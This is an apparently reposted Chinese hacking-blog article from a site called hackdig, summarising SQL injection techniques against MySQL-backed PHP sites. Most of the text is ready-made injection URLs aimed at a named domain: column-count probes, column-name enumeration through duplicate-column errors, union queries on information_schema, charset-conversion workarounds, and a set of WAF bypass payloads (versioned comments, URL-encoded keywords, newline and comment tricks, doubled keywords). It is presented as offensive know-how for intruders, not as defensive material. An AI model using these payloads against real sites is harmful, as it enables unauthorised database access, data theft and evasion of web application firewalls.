记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

SQL注入技巧+错误绕过技巧总结

2013-01-09 04:10

今天是题目所示的内容;
0×0:如何一次就获得列数目
0×1:关于concat_ws和concat和group_concat的说明
0×2:在mysql<5的版本中如何获取列
0x3:绕过error 1267(一般提示为:illegal mix of collations)
0x4:绕过error 400,404,406,403,500,1064,1222

0x0:如何一次就获得列数目
通常我们都是使用order by 语法。大家都知道。比如

http://www.f4ck.net/newsDetail.php?id=8 order by 19
http://www.f4ck.net/newsDetail.php?id=8 order by 9
http://www.f4ck.net/newsDetail.php?id=8 order by 8

复制代码
比如到8的时候显示正常。那么我们就知道总共有8列了。智力猜的时候学过一点计算机的人都知道,应该采用2分法。比如第一次猜一个100,显示错误,那么第二次猜50,如果还报错,就猜25.。如果不报错就猜75.。很快就猜出来了。

但是有时候又更简单的一句话就获得结果的语法。那就是

group by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30​,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5​7,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,​84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99

复制代码
然后就会报错,报错一般为

Unknown column 'x' in 'group statement'

复制代码
其中x就是正确的列数了。

php下还有一种方法。就是使用

PROCEDURE ANALYSE()

复制代码
这个函数可以识别查询中的列数。比如,

http://www.f4ck.net/index.php?page=1&idt=2630 procedure analyse()--

复制代码
页面上会显示N个同样的字符串。大概样子是这样
图1

0x1:关于concat_ws和concat和group_concat的说明

这个函数大家可能在一些手工注入语句中见过,我解释一下。concat这个函数需要我们输入每一个分隔符,
concat(1,":",2,":",3)
输出- 1:2:3
我们输入了两次":'
而concat_ws,只需要我们在前面输入一次。
concat_ws(":",1,2,3)
输出- 1:2:3
以上两个一般和limit N,1连用,因为他们用于单个查询结果

group_concat 用于多个查询结果的连接,比如说我们知道了username列,有三个值test1,test2,test3,这时候用group_concat(username,0x3a) ,
其中0x3a=“:”,输出结果就是test1:test2:test3了
另外,有时候如果concat被过滤,也可以使用concat_ws绕过啊

0x2:在mysql<5的版本中如何获取列

大家知道最多的在mysql 4版中得到列名的方法是猜。。因为information_schema这个库不存在了。如果我们已经猜成功了表名,比如说是login,那么我们可以这样来得到列名

http://www.f4ck.net/newsDetail.php?id=8>all+(select+*+from+(select+*+from+login+join+login+x)a)–

复制代码
页面就会提示 类似Duplicate column name ‘id’ (也就是重复的id列)
这样我们就知道有个id列

当我们知道一个id列的时候,我们可以通过加上一个using语句继续爆其他列

http://www.f4ck.netm/newsDetail.php?id=8>all+(select+*+from+(select+*+from+login+join+login+x using (id))a)–

复制代码
会提示Duplicate column name ‘pass’ (也就是重复的pass列)

我们可以把pass添加到using里继续

http://www.f4ck.net/newsDetail.php?id=8>all+(select+*+from+(select+*+from+login+join+login+x using (id,pass))a)–

复制代码
会继续爆出其他列。剩下的继续就可以了

0×3:绕过error 1267(一般提示为:illegal mix of collations)

这个严格来说不算是绕过WAF,因为这事因为程序员没有把数据库字符集设为缺省的。

http://www.f4ck.net/eventcatview.php?id=-6 union select group_concat(schema_name) from information_schema.schemata–

复制代码
就会报illegal mix of collations for operation ‘unio’这个错误
我们可以使用convert或是unhex(hex())绕过
convert语法如下convert (value using ascii)

http://www.f4ck.net/eventcatview.php?id=-6 union select convert(group_concat(schema_name) using ascii) from information_schema.schemata–

复制代码
上面用了group_concat就是因为查询出来的数据库名有多个。
如果ascii没效果,那么要继续尝试:
ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8

如果convert不行,试试unhex(hex())

http://www.f4ck.net/eventcatview.php?id=-6 union select unhex(hex(group_concat(schema_name))) from information_schema.schemata–

复制代码
如果还不行。。试试cast转换

http://www.f4ck.net/eventcatview.php?id=-6 union select cast(group_concat(schema_name) as char) from information_schema.schemata–

复制代码
0×4:绕过error 400,404,406,403,500,1064,1222

WAF也就是web防火墙,我们都遇到过,这里简单说明一下
如果waf阻止了union,那么他的规则大致如下

if(preg_match(‘/(union)/i’, $id))
exit(‘forbbiden’);

复制代码
我们输入: union select 1
waf识别: union select 1
服务器: 判定为攻击
返回为: forbidden.

如果返回码是400/403/404/406.那么我们可以使用下面的集中语法绕过
第一种:

/*!Union*/+/*!Select*/

复制代码
第二种:

%55nion/**/%53elect

复制代码
ascii编码,其中(%55 = U %53=S)

第三种:

id=null%0A/**//*!50000%55nIOn*//**/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3–+

复制代码
小提示,那个后面那个+号也是绕过的一个技巧。

第四种:

id=-1+#1q%0Aunion all#qa%0A#%0Aselect 1,2,3%0A#a

复制代码
(#表示忽略之后的内容,但是 %0A是一个新行的意思.所以下一行有效)

如果错误号为500,那么试试

and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+1,2,3–+

复制代码
如果error 1064(很有可能是检测空格)

第一种/**/代替空格:

/**/Union/**/Select/**/

复制代码
第二种+代替空格 同时适合过滤了一次关键字:

uniunionon+selselectect

复制代码
如果error 1222

第一种:最可能的是uion前后字段数不一致,也就是列数最前面的时候猜错了
第二种:

union select 1111,1111,1111..

复制代码
然后右键,查看源代码,搜索1111 ,这种没见过,,但是也可以试试。。
第三种:

union select 1,2/*

复制代码
ok。。大概就这些了。。谢谢

知识来源: c0der.hackcto.com/?p=321

阅读:189449 | 评论:0 | 标签:入侵技术 SQL绕过

想收藏或者和大家分享这篇好文章→复制链接地址

“SQL注入技巧+错误绕过技巧总结”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云